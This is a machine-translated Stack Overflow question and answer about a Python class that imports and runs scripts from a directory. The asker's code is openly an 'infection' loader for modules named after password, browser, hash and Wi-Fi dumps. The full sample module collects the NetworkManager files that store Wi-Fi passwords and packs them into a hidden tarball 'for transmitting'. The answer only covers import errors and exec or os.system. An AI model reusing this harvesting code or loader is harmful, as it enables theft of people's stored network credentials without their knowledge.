创建一个类以导入脚本并从该类运行脚本

时间:2017-08-05 01:36:33

标签: python python-2.7 import

首先让我解释一下我正在尝试做什么,我想创建一个从某个目录导入文件的类(如果该文件存在),并将该文件作为脚本运行。例如:

class RunScript(object):

    def __init(self, script):
        if script in someListThatContainsScriptNamesProbablyJSONFile:
            self.script = # do something fancy and import the script

    def run_exec(self):
        # do something and execute the script maybe subprocess?

所以我的问题是,如何从这个类成功运行脚本?我真的不想使用子进程,因为我觉得它看起来有点乱,是否有其他方法可以做到这一点?如果没有,那么使用子处理就完全没问题了。

到目前为止我尝试过:

 import os


__all__ = [
    "ask_pass", "chrome_dump", "firefox_dump",
    "hash_dump", "wifi_dump"
]
script_path = "{}/opts/infection_opt/{}"


class ExecuteInfection(object):

    @staticmethod
    def __fix_filename(filename):
        if ".py" in filename:
            ext_index = filename.index(".")
            return filename[ext_index:-1]

    def __init__(self, script):
        if ExecuteInfection(script).__fix_filename(script) in __all__:
            self.script = __import__(script_path.format(os.getcwd(), script))
        else:
            raise ImportError("{} is not a valid infection operation script.".format(script))

然而,当这个运行时,我收到一个错误说:

if ExecuteInfection(script).__fix_filename(script) in __all__:
    RuntimeError: maximum recursion depth exceeded

参考评论和答案,这是我要导入的一个脚本

import os
import tarfile
import string
import random


def _find_config_files(path="/etc/NetworkManager/system-connections"):
    """
      Find the configuration files that contain the Wifi passwords

      > :param path: path to the configuration files
      > :return: True and the files or False and None if nothing found

      Example:
        >>> _find_config_files()
        (True, set(['AgE1a2', 'AISNetwork2', 'BBB1ffC9ce', 'AISNetwork1']))

    """
    found_files = set()
    if os.path.exists(path):
        for item in os.listdir(path):
            found_files.add(os.path.join(path, item))
        return True, found_files
    return False, None


def _make_tar(status, _file_start="nm_log_{}.tar.gz", tmp_dir="/tmp/{}"):
    """
      Create a tar file and store it in the temp directory for processing
      and transmitting

      > :param status: the status and the files found
      > :param _file_start: the start of the name of the tar file
      > :param tmp_dir: path to the temp directory to be formatted
      > :return: full path to the created filename or None
    """

    def __rand_filename(_start, ints=string.digits, length=4):
        """
          Create a random filename for the tarfile

          > :param _start: start of the filename
          > :param ints: the acceptable numbers to be used
          > :param length: the length of the filename
          > :return: a random filename

          Example
            >>> _make_tar((True, set(["test.txt"]))).__rand_filename(_file_start)
            nm_log_4768.tar.gz
        """
        _finalize = [random.choice(ints) for _ in range(length)]
        return _start.format(''.join(_finalize))

    filename = __rand_filename(_file_start)
    file_path = tmp_dir.format(filename)

    if status[0]:
        with tarfile.open(file_path, "w:gz") as tar:
            for f in status[1]:
                tar.add(f)

        return file_path
    else:
        print(
            "no tarball could be created, it appears that no files could be found "
            "assuming that the files don't exist and this person has no idea what "
            "the internet is, get out now."
        )  # todo:/ change to log
        return None


def main():
    """ main function of the script """
    data_found = _find_config_files()
    filename = _make_tar(data_found)
    if filename is not None:
        return filename


if __name__ == "__main__":
    main()

1 个答案:

答案 0 :(得分:0)

正如我在评论中已经说过的那样,问题似乎在于您要导入的脚本而不是导入算法。 (当导入python脚本时,它会被执行,所以如果你在脚本中有不属于类或函数的东西,那些东西都会失败,那么错误信息可能指向你的导入而不是它的问题

然而,它也可能是其他的东西(非常疯狂的文件结构,导入导入模块通过数百次调用,导致大量导入,因此有助于查看导入的脚本是什么) (并且你可以仔细检查其中的导入,python的某些实现可能不会阻止同一模块的递归导入)。

通过这些信息,可以让您更好地了解正在发生的事情(这是一个答案,因为我需要一些长度,但我希望您允许我使用比如何查找的简单建议更好的编辑它问题,就像一个实际的解决方案)。

您说您不想使用子流程,但如果您不尝试直接导入脚本,则可能需要尝试解决问题。试试:

  1. 将文件作为文本读取,然后使用 compile function生成一个字节代码,然后您可以使用exec行执行某些操作(但不要让它在您的行中最终实现,除非您只是自己从代码生成脚本,或者用户可以修改它...)

  2. 使用带有python full/path/to/script行命令的系统作为参数。 (http://docs.python.org/library/os.html#os.system

  3. 感谢您的回报,希望它能帮助您找到问题。